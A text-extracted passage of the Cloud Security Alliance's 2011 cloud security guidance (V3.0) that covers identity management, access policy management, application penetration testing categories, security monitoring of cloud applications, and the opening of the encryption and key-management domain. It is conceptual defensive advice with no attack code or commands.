COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 117 10.3.3 Administration/Management Identity Management ( IDM )86 within the enterprise is mainly focused on managing users (provisioning) and managing access policies (for enterprise applications). IDM is a very important component of I dEA for not only prov iding timely access to the users but also timely revocation of access when the user leaves or timely management of access when the user moves to a different role. Within the enterprise, identity management is usually tightly integrated and is directly conn ected to the data stores (users, policies, etc.); in most deployments, it is also heavily customized. Due to the distributed nature of cloud applications applying the same principle becomes a non - starter, as IDM might not have direct access to the data s tores on the service provider. Moreover, there are no standard API’s for provisioning. Many service providers have not adopted Service Provisioning Mark -up Language ( SPML )87. IDM in the context of cloud computing should not only manage the user identities . It should extend this to manage cloud application/services identities, access control policies for these cloud applications/services, privileged identities for the applications/services, etc. Current federated provisioning is implemented with proprietary API’s exposed by the service provider. The PUSH model that is followed by the enterprise IDM will not work with cloud applications as it might overload the service providers. The new emerging standard is Simple Cloud Identity Management ( SCIM)88 with the m ain goal of this standard to make the management of identities cheaper with easier and faster implementation. The secondary goal is to ease the migration of user identities into and out of the cloud. SCIM is simple because it uses well defined core schem a, cloud - friendly because it uses RESTful API as supported by many cloud service providers, and supports identity management because it works with existing protocols such as SAML, OpenID connect etc. Based on these facts (at the time of writing), SCIM mig ht get adopted as an industry standard for identity provisioning. Some of the challenges that enterprises consider for identity management are:  How to sync changes about identities/access between enterprise - > cloud, cloud - > cloud, cloud - > enterprise  How to de -provision identities and access across the enterprise and cloud  How to author/update/manage access policies in a manageable, scalable, low -maintenance, low -cost way. The current solution for many enterprises is the adoption of a hybrid IDM solution that spans both enterprise and cloud. Access policy management is a major application security challenge and often requires maximum security automation as a solution: Security policy automation is particularly important for cloud computing because cloud u sers will demand support for regulatory compliance policy management from cloud providers, but will at the same time judge the financial ROI by the same measures as they do for cloud computing in general, i.e., by how much it cuts their up -front capital ex penditure and their in -house manual maintenance cost. 86 IDM - Identity Management 87 SPML - Service Provisioning Mark -up Language 88 SCIM - Simple Cloud Identity Management SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 118 10.3.4 Audit/Compliance Enterprises using cloud services should answer three fundamental questions: 1. What cloud resources does a user have access to? 2. What cloud resources does a user actually access? 3. Which access policy rules were used as a basis for a decision? With current cloud deployments, enterprise customers have very limited visibility into cloud service providers for audit data. An enterprise needs access to this data not only for meeting the business driven compliance but also to meet industry regulations and also deal with fraud disputes. Currently the IDM market is moving towards Identity and Access Governance ( IAG)89 market. Enterprises should also consider use of SIEM (Security Incident & Event Management) tools to correlate cloud application access log data and your policy data to generate policy compliance reports as well as use of auditable industry standards such as ISAE 3402/SSAE 16, HIPPA, DSS PCI, ISO27002, etc. General IdEA conside rations for cloud application security are:  Identity, Entitlement, and Access management should not be an afterthought; rather, it should be integrated into an application’s SDLC starting with the requirements gathering.  During the design phase consider ho w to control access to the application using a Claims -based access whenever possible.  Consider using tools like SAPM (Shared Account Password Management) for managing highly privileged accounts within the application. This allows for segregation of duties and least privilege.  If the enterprise already has web access management tools, ensure that those tools can be extended into a cloud environment, i.e., by adding a SAML capability.  Cloud applications might need to leverage services offered by service prov iders such as logging, database connectivity, etc. Most service providers expose these as web services or API. Access to these services could be controlled by OAuth tokens. Thus cloud applications should take into consideration supporting various token types like OAuth , API keys, etc.  Ensure that you follow an agile development process and that the application is built into modularized components. This allows the app lication to leverage new emerging standards in the future like Mozilla’s browserID, Microsoft’s U- Prove, and Kantara Initiative’s UMA (User Managed Access). Be aware of the threats for cloud applications, which include:  Spoofing. Assuming the identity of another user  Tampering. Modifying the data on transit 89 IAG - Identity and Access Governance SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 119  Repudiation. Denying the origin of transaction (request or response)  Information disclosure. Unauthorized disclosure of data  Denial of Service. Affecting the availability  Elevation of Privilege. Assuming the role or entitlement These threats could be addressed by I dEA as follows:  Spoofing. Authentication (strong authentication)  Tampering. Digital Signature or Hash (As used in SAML assertions)  Repudiation. Digital signature (as used in SAML asse rtions), audit logging  Information disclosure. SSL, encryption (Strictly not I dEA specific)  Denial of Service. Security Gateways (Web Services security gateways)  Elevation of Privilege. Authorization ( OAuth ) 10.3.5 Policy Management Access policy man agement (often called “authorization management” when done entitlement -centric) is the process of specifying and maintaining access policies to resources in access policies, based on attributes including caller -related identities and related attributes (e. g. caller authentication), context attributes (e.g. environment/business/IT related), and target -related attributes (e.g. throttling or QoS access policies)90. Entitlement management forms part of authorization and access management, which additionally includes authoring and maintaining policies for attributes that are not identity -related but are required (in addition to identity and its attributes) to make a meaningful access decision. Entitlement/Authorization also takes attributes into account that are n ot related to an identity, e.g.:  General state of the IT landscape, business/business process, interconnection of IT systems or business processes, or environment, etc. (e.g. crisis level, emergency situation)  Other decisions made by other entities (e.g. approvals, prior decisions)  Attributes related to the protected target resource (e.g. QoS or throttling policies) Typically the authorization management, decisioning, and enforcement process is performed in one of three places: 1. Using a central/external Policy Enforcement point / Policy Server / Policy -as-a-Service 2. Embedded as part of the Cloud application 3. Using an Identity -aaS or Persona -aaS (an entities Persona is its Identity with selected attributes). 90 Lang, U. “Access Policies for Middleware”, PhD thesis, University of Cambridge Computer Laboratory, 2003 SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 120 10.3.5.1 Cloud I ssues vs. Policy Management Authori zation/entitlement management for cloud faces several issues91. Firstly, entitlement management for cloud has the specific issue that cloud subscribers often do not have sufficient control over technical access policy decision -making and enforcement in the cloud infrastructure. Most cloud providers today do not offer subscriber- configurable policy enforcement points (e.g. based on the OASIS XACML standard), and cloud providers naturally cannot pre -configure subscriber -specific policies for subscribers (bec ause they are subscriber - specific). Secondly, an entitlement management complexity for interconnected clouds (mash -ups) is that access needs to be controlled for the interconnected cloud mash -ups, and not only for each individual cloud node. This means t hat policies need to be authored for service chains and delegation across the interconnected cloud mash -up in mind. 10.3.5.2 Authorization Management Best Practice  Establish whether an identity/entitlement- centric perspective is the best way for your org anization to author and maintain access policies; in many cases a protected -resource -centric perspective may be easier to author and maintain because the goal is often to protect resources, and policies are often distributed to the protected end-systems fo r automatic policy enforcement (e.g. in entitlement/authorization management systems). In those cases identity is merely one attribute in an access policy that is written with the goal of enforcement at the protected end -system in mind.  Make sure that pol icies are specified in a manageable form. This includes specifying policies that are generic, specified at a sufficiently high level of abstraction, and expressed close to the understanding of the relevant organization/business/humans. Mechanisms and too ls are available to generate the detailed technical access policy rules from such a manageable form (e.g. using model- driven security policy automation). 10.3.5.3 Architectures for Interfacing to Access Policy Providers Policy Decision/Enforcement Points (PEP’s/PDP’s) using standard protocols (e.g. XACML) or proprietary protocols (e.g. direct web service or other middleware calls) can access policy servers (which contain the rules for an interconnected cloud mash -ups). The architecture is usually one (se rver) to many (PDP/PEP’s) if the policy covers a single trust domain (e.g. an enterprise intranet). However, in more large -scale deployments, there can be several federated policy servers that service many different PDP/PEP’s. Several access management products now support authorization management rules (e.g. in XACML) that can be used to express entitlements for identities. In addition, several authorization management products are available that can be used to author authorization policies from a more t arget -resource - centric perspective. 10.3.5.4 Provisioning of Access Policies In addition to identity + attribute provisioning, access policies need to be provisioned (see above “10.3.5.3 Architectures for Interfacing to Access Policy Providers”). More over, non -identity attributes need to be provisioned, e.g., from directory services or other attribute sources. Both need to be provisioned to the PDP/PEP’s, and timeliness and correctness play a critical role. 91 Details: Lang U, Schreiner R, Analysis of recommended cloud security controls to validate OpenPMF, Information Security Technical Report (2011), doi :10.1016/j.istr.2011.08.001 SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 121 10.3.5.5 Managing Access Policies for Clo ud Making authoring and maintaining access policies manageable is a major challenge; there are typically simply too many technical rules to manage, used policy languages and attributes that do not match the understanding of human administrators, technical rules that need to be updated frequently to remain correct after each time systems change (e.g. for agile cloud mash -ups), and it is hard to establish that the level of confidence/assurance of the technical policy enforcement matches the intent of the huma n administrator. As a consequence, it is critical to carefully plan the tools and processes to make this access policy authoring/updating process manageable through automation. Current solutions include automated approaches to turn high -level security po licies into (low -level) technical access rules, including:  Model -driven security92, the tool -supported process of modeling security requirements at a high level of abstraction, and using other information sources available about the system (produced by othe r stakeholders). These inputs, which are expressed in Domain Specific Languages (DSL), are then transformed into enforceable security rules with as little human intervention as possible. It also includes the run -time security management (e.g. entitlements / authorizations), i.e., run -time enforcement of the policy on the protected IT systems, dynamic policy updates, and the monitoring of policy violations.  Clustering technical access rules into similar groups to reduce the complexity  Visual attempts to make technical policies easier to understand 10.3.5.6 Authorization in the Cloud Best Practice  Carefully consider whether a protected -resource -centric perspective to authoring access policies may be more suitable for your environment than an identity -cent ric perspective.  Ensure manageability of access policies, especially for dynamically changing cloud mash -ups. This includes consistency of policy authoring, policy distribution, enforcement, and update. Consider the use of automated tools and approaches (e.g. model -driven security) to generate the technical access rules needed for policy enforcement.  Designate clear responsibilities for policy management and policy auditing.  Ensure your cloud provider offers authorization management PEP’s/PDP’s that can be configured with the subscriber -specific authorization policy, and that your policy server can interface correctly with the policy selected.  Consider the use of “policy -as-a-service” as the policy server if you need a central policy server for a cloud mash - up. Current best practices for selecting authorization services:  The most important authorization management services feature is cloud subscriber policy manageability, because managing access policies is the biggest challenge around authorization. 92 NIST IR 7628 SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 122  Serv ices should allow for as -automatic -as-possible technical policy generation (and update!) from human - intuitive, generic security policy requirements.  If politically viable for your organization, and if available for you, “policy -as-a-service” should be cons idered as an option of outsourcing the policy authoring and updating. Most likely this will be acceptable within community clouds where the “policy -as-a-service” is offered to a closed community.  Ensure services have an import and/or export function into standards such as OASIS XACML.  Ensure services can interface with PEP/PDP’s installed in the cloud infrastructure and with Policy Monitoring Points for incident monitoring/auditing. 10.4 Application Penetration Testing for the Cloud A penetration test in volves the process of evaluating the residual vulnerabilities present in the application or system layer that can be potentially exploited by an external or internal hacker with malicious intent. The test would typically involve active analysis of the surfaces of the application or system as a "black box" and attempts to identify typical vulnerabilities that can be prevalent as a result of bad programming or hardening practices. Open We b Application Security Project ( OWASP)93 in its OWASP Testing Guide V3. 0 recommends nine types of Active Security Testing categories as follows: 1. Configuration Management Testing 2. Business Logic Testing 3. Authentication Testing 4. Authorization testing 5. Session Management Testing 6. Data Validation Testing 7. Denial of Service Testing 8. Web Services Testing 9. Ajax Testing (RIA Security Testing) The above categories of Security testing will be equally applicable for an application that is going to be deployed on the Cloud as the nature of Application Vulnerabilities from a technical perspective is not going to change. However, depending upon the type of Cloud Deployment Model additional threats vectors (that would have not come into the equation for a non -cloud deployment) could be induced. An example of such a threat vector in a SAAS deployment would be induced by multi -tenancy when the same application run time is being used to service multiple tenants and their segregated data. 93 OWASP - Open Web Application Security Project, www.owasp.org SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 123 Figure 3 —Threat Vector Inheritance Additional classes of testing will need to be developed and included to address threats that arise as a result of the deployment model of the Application in the Cloud. An illustration of the same is provided in the table below. Table 2— Threat Vector Inheritance CLOUD MODEL ON APPLICATION IS BEING DEPLOYED ADDITIONAL THREATS INDUCERS EXAMPLES OF THREATS TRADITIONAL SECURITY TESTING CATEGORIES STILL RELEVANT ADDITIONAL TESTING CATEGORIES SAAS Multi -tenancy at an Application Level A different tenant using the same SAAS infrastructure gains access to another tenants data through the web layer vulnerabilities (a privilege escalation)  Configuration Management Testing  Business Logic Testing  Authentication Testing  Authorization testing  Session Management Testing  Data Validation Testing  Denial of Service Testing  Web Services Testing  Ajax Tes ting (RIA Security Testing)  Multi -Tenancy Testing (an extension of privilege escalation) PAAS Multi -tenancy at a Platform Same as above Same as above Same as above SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 124 Level IAAS Multi -tenancy at an Infrastructure Level Deficiencies in virtualization security (improper implementation of VM zoning, segregation leading to inter VM attacks across multiple IAAS tenants)  Traditional Infrastructure Vulnerability Assessment (need to “define” this)  Inter VM Security / Vulnerability Testing 10.5 Monitoring Applications in the Cloud As with other aspects of cloud security, what and how one monitors a cloud -based system varies with the type of cloud under consideration. What it means to monitor applications in the cloud and how to monitor different types of c loud applications are explained in detail below. 10.5.1 Application Monitoring in the Cloud: Give and Take For this document, we are limiting “monitoring” to focus on application security monitoring. In particular, the following categories of metrics should be addressed: 1. Log monitoring. It is not just to archive logs for compliance purposes. Understand the potential output that could be sent to these logs, and monitor for actionable events. An application logging errors is of zero use unless a process exists to detect and respond to those errors. 2. Performance monitoring . This plays a large factor in shared computing. A significant change in the performance of one application could be the symptom of another customer using more than their fair share of a limited resource (e.g., CPU, memory, SAN storage), or it could be the symptom of malicious activity either with the application being monitored or with another application in the shared infrastructure. 3. Monitoring for malicious use . This i s a blend of auditing and monitoring required to be successful. The enterprise must understand what happens when a malicious user attempts to gain access, or use permissions that they do not have. Audit logs must log failed (and successful) login attempt s. Do data -validation functions log anything? If an application experiences a significant increase in traffic load, is an alert created anywhere? 4. Monitoring for compromise . Here the key is how quickly and efficiently an organization responds to th e compromise. Depending on the complexity of the application, determining compromise might be relatively easy (e.g., “User A is logged in twice”) or may require more effort (e.g., developing heuristic algorithms to monitor data usage). This is a good exa mple of an item that, when addressed earlier in the SDLC, can be easier to manage. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 125 5. Monitoring for policy violations (especially access control) . It is also important to monitor and audit how a Policy Decision Point came to a decision, i.e., which policy rules were applied to make a specific access decision. This is in line with a general policy -driven monitoring approach that avoids the typical monitoring problems of false - positives and incident overload. These are some of the key concepts behind log monitoring – the “take” side of the equation. Equally important, the developer of an application is responsible for the “give” side: His application must provide a solid logging subsystem to allow the monitoring system to efficiently do its job: 1. Easi ly parsable . Logs should be written in a format that can be easily parsed by a separate system. A good example would be using a well -known and accepted format such as XML. A bad example would be writing log entries of non -delineated, multi -line text output. 2. Easily readable . Unless writing logs in a binary format that will, without a doubt, never be directly read by a human, a log entry should be understandable by a person with a technical background, familiar with the application. 3. Well docume nted. It is not enough to just write logs to a file. Error codes need to be documented and should be unique. If a particular log entry has a known path to resolution, document the resolution, or provide a reference to it. 10.5.2 Monitoring Applications in Different Cloud Types With an IAAS -based application, monitoring the application is almost “normal,” compared to “legacy” applications deployed in non -shared environments. The customer needs to monitor issues with the shared infrastructure or with attempted unauthorized access to an application by a malicious co -tenant. Monitoring applications deployed in platform -clouds requires additional work. Unless the platform provider also provides a monitoring solution capable of monitoring the deployed application, the customer has t wo choices: Either write additional application logic to perform the monitoring tasks within the platform or send logs to a remote monitoring system, be that the customer’s in -house monitoring system, or a third party service. As SAAS- based applications p rovide the least flexibility, it should not come as a surprise that monitoring the security of these types of applications is the most difficult. Before using a SAAS product, customers must have a thorough understanding of:  How does the provider monitor their applications?  What type of audit, log, or alert information will the provider send to the customer? Does the customer have the ability to select what information they will receive?  How will the provider transmit this information to the customer? (Tw itter? Email? Custom API?) One final point when considering application security monitoring in the cloud: While providers (or 3rd party cloud monitoring services) may have built a monitoring system to monitor a customer’s applications, those monitoring systems are monitoring hundreds, if not thousands, of customers. The provider, as a business, wants this monitoring system to work “well enough.” If the customer has the resources, running his/her own monitoring system that monitors just his/her application s will almost always be more responsive and more informative than that of a cloud provider. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 126 10.6 Recommendations 10.6.1 Security Assurance Recommendations o Functional and regulatory security and privacy requirements are defined that meet the needs of cloud development and/or deployment. o A detailed assessment of the attack vectors and risks in the cloud environment are understood, and the mitigations strategies are integrated into the requirements. o An impact assessment for all risks and attack vectors is undertaken, and documented, together with the potential for loss or damage from each scenario. o Security and privacy requirements and efforts should be prioritized on likelihood and impact. 10.6.2 Risk Analysis Recommendations o Risk analysis of the applications for security and privacy (confidentiality, integrity and availability) are undertaken, and threat models should be built and maintained. o Risks from the perspective of development and deployment in the cloud should be analyzed and related threat models maintained. o Attack vectors and impact analysis specific to cloud architectures should be catalogued and maintained. o Traceability between security assurance features and all identified risks / threats should be maintained. 10.6.3 Architecture Recommendations o Secure software architecture frameworks should be developed and maintained. o Cloud computing architecture patterns that explicitly mitigate threats (for example, from “Open Security Architecture”94 or TOGAF/SABSA95) should be used. o Reusable building blocks i n the application architecture are available for mitigating commonly known security and breach scenarios. o Cloud -specific secure data architectures should be used to enhance the chosen security architectural framework, which will address cloud specific issues and threats, such as: • The monitoring of dynamic database servers • Understanding where the database is exactly hosted at any point in time 94 www.opensecurityarchitecture.org 95 www.opengroup.org SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 127 • Centrally logging all activity, across disparate (potentially global) systems to provide a holistic view of the application and flag suspicious events • Define where encryption must be used (see Domain 12) • Provide adequate segregation of duties within the system, the data, and all privileged activities by third parties, capable of being monitored by staff of the organ ization that owns the data 10.6.3 Penetration Testing Applications on Cloud Recommendations o Carry out regular Web Application Penetration Testing to check for OWASP Top 10 vulnerabilities o Categorize vulnerabilities based on criticality / Impact and have a process for remediation o Carry out manual tests from a multi- tenancy perspective to validate that privileges cannot be escalated or data segregated based on lack of session enforcement. o For applications being migrated to an IAAS or PAAS environment, a se curity assessment needs to be carried out to ensure that the underlying security controls such as VM zoning and segregation, virtualization security, etc. has been effectively put in place and does not pose a risk to the application ecosystem. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 128 REFERENCES [1] The Building Security In Maturity Model. http://bsimm.com/ [2] OpenSAMM – Software Assurance Maturity Model. http://www.opensamm.org/ [3] DAVIS, NOOPUR. Secure Softwa re Development Life Cycle Processes. Software Engineering Institute [4] SP -011: Cloud Computing Pattern. http://www.opensecurityarchitectu re.org/cms/en/library/patternlandscape/251 - pattern -cloud -computing [5] KRUTZ, RONALD L. and VINES, RUSSEL DEAN. 2010. Cloud Security - A Comprehensive Guide to Secure Cloud Computing. Wiley Publishing, Inc., Indianapolis, IN. [6] SARNA, DAVID E.Y. 2 010. Implementing and Developing Cloud Computing Applications. Auerbach Publications. [7] BELK, MARK, COLES, MATT, et al. 2011. Fundamental Practices for Secure Software Development: A Guide to the Most Effective Secure Development Practices in Use Toda y, 2nd EDITION. Software Assurance Forum for Excellence in Code. http://www.safecode.org/publications/SAFECode_Dev_Practices0211.pdf [8] RITTINGHOUSE, JOHN W. and RANSOM E, JAMES F. 2009. “Cloud Security Challenges” in Cloud Computing: Implementation, Management, and Security. Auerbach Publications. http://www.infosectoday.com/Articles/C loud_Security_Challenges.htm [9] Guidelines on Security and Privacy in Public Cloud Computing. Computer Security Division Information Technology Laboratory. 2011. National Institute of Standards and Technology - Gaithersburg, MD 20899 -8930 http://csrc.nist.gov/publications/drafts/800 -144/Draft -SP-800-144_cloud -computing.pdf [10] Homomorphic Encryption. Making Cloud Computing More Secure. http://www.technologyreview.in/computing/37197/ [11] Cloud Data Protection. Best Practices. http://www.ciphercloud.com/blog/?cat=10 SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 129 DOMAIN 11 // ENCRYPTION AND KEY MANAGEMENT For a security professional, it is obvious that if an organization needs to store data and doesn’t trust those who can access or use the data, then the data must be encrypted. Inside an on -premise data center where the organization controls all assets, data is encrypted because some regulations say the data must be encrypted (PCI DSS for example). In the cloud, where there are multiple tenants and administrators working for someone else it would seem obvious that much more data would need to be encrypted. If that is the case, how do those processes work and how does the organization manage their keys? Encrypting everything increases complexity. On the other hand, is it even necessary to encrypt these volumes of data if it causes business process complexi ty amongst other issues? Is there another way to reduce the need to encrypt data and subsequently manage the keys? This chapter looks at these issues. Overview. This domain will address the following topics :  Introduction to Encryption  Alternative approaches to Encryption  Cryptography in cloud deployments  Encryption in Cloud Databases  Key management in the cloud  Storage and safe -guard of keys 11.1 Introduction to Encryption Data classified as confidential for reasons of regulatory compliance or corporate secrecy must be protected. As confidential information that is currently managed within internal systems increasingly moves to the cloud, it must be protected with the same diligence. Moving data to the cloud does not remove any requirements for confidentiality and data protection. The loss of control of data outside the secured corporate perimeter (de- perimeterization) increases th e complexity of protecting data and increases the risk of compromise. There are a number of factors to consider regarding data encryption in the cloud, which include:  Protecting data through encryption as it moves to the cloud requires more than just ensur ing that a secure transfer channel (i.e. TLS) is used. Encrypting the transfer of data to the cloud does not ensure the data is protected in the cloud. Once data arrives in the cloud, it should remain protected both at rest and in use.  For unstructured f iles that must be protected when stored or shared in the cloud use data -centric encryption, or encryption embedded into the file format whenever practical to apply protection directly to files. To encrypt or not to encrypt? That is the question. If yes, how do I manage the keys? If no, are risks too high? SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 130  Understand how all encryption / decryption keys will be manage d for the entire lifecycle of the data. Whenever possible avoid any reliance on cloud providers to protect and appropriately use the keys that protect your critical information.  Avoid opportunities for lapses in the employee safeguards of others, or of re gional laws that may provide undesired, but mandated access to your encrypted files. If only you have the keys, only you can access your files.  Do not forget to protect files that are often overlooked, but which frequently include sensitive information. Log files and metadata can be avenues for data leakage.  Encrypt using sufficiently durable encryption strengths (such as AES -256) that comply with the same corporate and regulatory mandates used for encrypting internally maintained files. Use open, validated formats and avoid proprietary encryption formats wherever possible. 11.2 Alternative Approaches to Encryption There are good reasons to look at alternate approaches to encrypting data in the cloud. For many organizations sending data into the cloud is equivalent to transferring custodial relationship. For those organizations that have issues with sending unsecured data outside their organization there are alternatives:  Tokenization . This is where public cloud service can be integrated/paired with a private cloud that stores sensitive data. The data sent to the public cloud is altered and would contain a reference to the data residing in the private cloud.  Data Anonymization. This is where (for example) Personally Identifiable Information ( PII)96 and S ensitive Personal Information ( SPI)97 are stripped before processing.  Utilizing cloud database controls . This is where the access controls built into the database are deemed to provide adequate levels of segregation. As a rule, good data management practice s are essential before moving data into the cloud, to understand whether all or just some of the data need to be encrypted, protected by an alternative method, or not protected at all. When evaluating what to protect through encryption of other alternative methods there are risks of data sharing98 that can be broken down into two primary categories: disclosure and misuse, under the following areas:  Accidental public disclosure . Making information or data readily available to the general public via publicati on or posting on the web.  Accidental or malicious disclosure . The act of making information or data available to a third party(s) as a result of inadequate data protection. 96 PII - Personally Identifiable Information 97 SPI - Sensitive Personal Information 98 http://www.caida.org/data/sharing/ SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 131  Compelled disclosure to third parties . The obligations of having to respond to s ubpoenas requesting data disclosure in lawsuits.  Government disclosure . The release of data to government entities, either by law, or by court order (such as the Patriot Act).  Misuse of user or network profiles. The ability to analyze and data mine to d erive sensitive information from seemingly benign traffic data, and thereby reveal user behaviors, associations, preferences or interests.  Inference misuse. Being able to synthesize first -order or second -order identifiers to draw inferences about a person's behavior or identity.  Re-identification and de -anonymizing misuse . Having access to enough “anonymized” information to be able to infer the original subject. 11.3 Cryptography in Cloud Deployments There are two complementary concepts used in the encryption section, they are:  Content Aware Encryption . Used in Data Leak Prevention, content aware software understands a data type or format and encrypts based upon policy settings. For example a credit card number is encrypted in an email being sent to law enforcement.  Format Preserving Encryption. Encryption that preserves format is a result that encrypts a message and produces a result like the input message. For example, a 16 -digit credit card number is a 16 -digit number after encryption, a telephon e number would look like a telephone number, and an English word would look like an English word. The ability to encrypt from the enterprise to the cloud without user intervention is to the preferred way to make data safe. Content aware software can be le veraged for public cloud encryption if the software can be configured to be protocol aware as well and encrypt fields in a REST http transaction to a public cloud application. The Data Leak Prevention (DLP) 99 use case today is met by products that can enfo rce data protection leaving the enterprise, usually by email, and encrypt data before the transaction leaves the enterprise. This principle can be used in cloud data protection; however, the DLP product may generate alerts. A content aware service would need to detect, encrypt, and log but not alert. Format preserving encryption takes content aware a step further by being sensitive to the data needing encryption and maintaining the data format and type. For example, with conventional encryption, a credit card being encrypted would render a cipher -text100 that would no longer be a 16 -digit number. Format preserving encryption would generate a cipher text value that is 16 digits in addition to being encrypted. By also preserving the data type and format the service providing encryption can then easily change values in line over a wide variety of protocols. The key challenge to format preserving encryption is in encrypting large clear text values such 99 Data Leak Prevention ( DLP) products have an enforcement mode that detects data leaving a secured device or the enterprise and encrypts it. 100 Cipher text - The result of an encryption operation. The input is known as clear text. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 132 as an email stored in the cloud. Bulk scale encryption is normally how text values are encrypted using block ciphers101. In the format preserving case, each word would be encrypted into a character string of the same length, which takes time. The result, however, would be cipher -text data values that can be stor ed in fields of the same data -type as the original plain text. Encryption in cloud applications poses some issues for business applications that the application architecture needs to address. These are:  If data in the application is needed to search for r ecords or objects, then an encrypted primary key102 would make that difficult.  If the cloud application set contains batch jobs or other types of processes that work on sensitive data, particularly PII and SPI data, and those processes are moved to the cloud , that situation will complicate key management. An application that needs to find records or objects in a database may choose to develop another way to store a unique value such as tokenization. Tokens are often used in credit card environments to ensure the credit card number is minimally accessed in applications. A unique token generated from the value can be used to develop a new primary key that the application can use without exposing sensitive data in a public cloud. As will be discussed in section 11.4 below, where possible, keys should not be stored in the cloud and must be maintained by the enterprise or a trusted key management service provider. Processes that need to operate on clear text data and run in the cloud with other business applicati ons and data must have access to keys or a service in order to perform their functions. See section 11.4 for more details on key management in the cloud. 11.3 .1 Encryption in Cloud Databases The first thing to consider is whether it is necessary to enc rypt the data. All databases provide the ability to restrict access to data. If properly implemented, that may be enough to protect confidentiality. Other reasons that may require the encryption to protect data stored in the database are:  To hide it from those with privileged access to the database (Database Administrators ( DBA’s )103, for example)  To comply with legal statutes (such as California's SB1386 law)  To store it in a schema for which the data owner cannot control the account credentials accessing the data (using shared accounts, for example) When using a cloud database and particularly SaaS solution employing a database, the database ability to function correctly may be compromised unless it can operate on the encrypted data, necessitating the data base or cloud application to have access to the keys. 101 Ciphers - Algorithm based software/hardware that perform encryptio n/decryption and signing/verifying 102 Primary key - A database column/field/attribute that is used to uniquely identify records in a database 103 DBA - Database Administrator SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 133 Data encryption comes at the price of complexity and performance, and there are effective alternatives to encryption:  Use object security . Use SQL grant and revoke statements to restrict which accounts can access the data. The accounts to which you grant access must be controlled to ensure that you are only allowing access to authorized users.  Store a secure hash. Rather than storing the data directly, store a hash of the data. This allows your program to prove that the holder has the correct value without actually storing it. 11.4 Key Management One of the more difficult processes in public cloud computing is key management. The multi -tenant model of public cloud solutions causes key management issu es for processes running there. The easiest use cases are those that have applications running in the public cloud and keys that encrypt data going to the public cloud from the enterprise are used within the enterprise only. As described in section one, t here are encryption engines that can encrypt data on the way out and decrypt data on the way back in. An application using cryptographic keys gets complicated when other processes, such as batch processes, need access to keys to decrypt data and those pro cesses reside in the public cloud. Enterprise users of encryption need to have keys of their own so that a single shared key is not used across the enterprise. The easiest way to accomplish such specific keys is a cryptographic engine for each user or entity 104 to have keys assigned (and managed) based on the entities identity. In this way, anything that is encrypted specifically for an entity is maintained for that entity. If an entity needs to share access to data in a group setting then group level k eys can be associated with the application that maintains group access, and entities within that group can share the keys. The keys should be maintained within the enterprise as discussed earlier in this section. Where data is stored in a public cloud env ironment, there are problems when exiting that environment to be able to prove that all data (especially PII or SPI data, or data subject to regulatory assurance regimes) has been deleted from the public cloud environment, including all other media, such a s back -up tapes. Maintaining local key management allows such assurance by revoking (or just deleting/losing) the key from the key management system, thus assuring that any data remaining in the public cloud cannot be decrypted. 11.4.1 Storage and Safe -Guarding of Keys Encrypting data has little value if both providers as well as users of cloud services do not vigorously enforce the processes around key management. On the provider side, a lack of SOD105 (Segregation of Duties) around access to key servers and servers having encrypted data should be a cause for concern, as well as DBA’s having access to individual keys for databases, or the architecture of the database service reliant on a single key. 104 Entity - For the purpose of identity, could be a user, code, a device, an organization or agent 105 SOD - Segregation of Duties SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 134 Controls around protecting the keys themselves, by using KEK106 (Key Encrypting Keys) and generation of encryption keys in -memory, and only storing the encrypted key of key servers are all valid architectural solutions that should be considered when architecting any solution. Keys managed on the client side that p rotect keys on devices that are not themselves secure (such as mobile devices) or devices which do not have the same level of controls as the encrypting system itself should be a cause for concern. 11.5 Recommendations General Recommendations o Use best practice key management practices when using any form of encryption/decryption product. o Use off -the-shelf technology where possible to get the best practices from a credible source. o Use best practice key management practices and obtain technology and produ cts for encryption, decryption, signing, and verifying from credible sources. o It is highly recommended that organizations maintain their own keys or use a trusted cryptographic service from a source that currently maintains such a service. o If an organizat ion needs to run analytics or other processes using data stored in the cloud then the organization should develop on top of a platform such 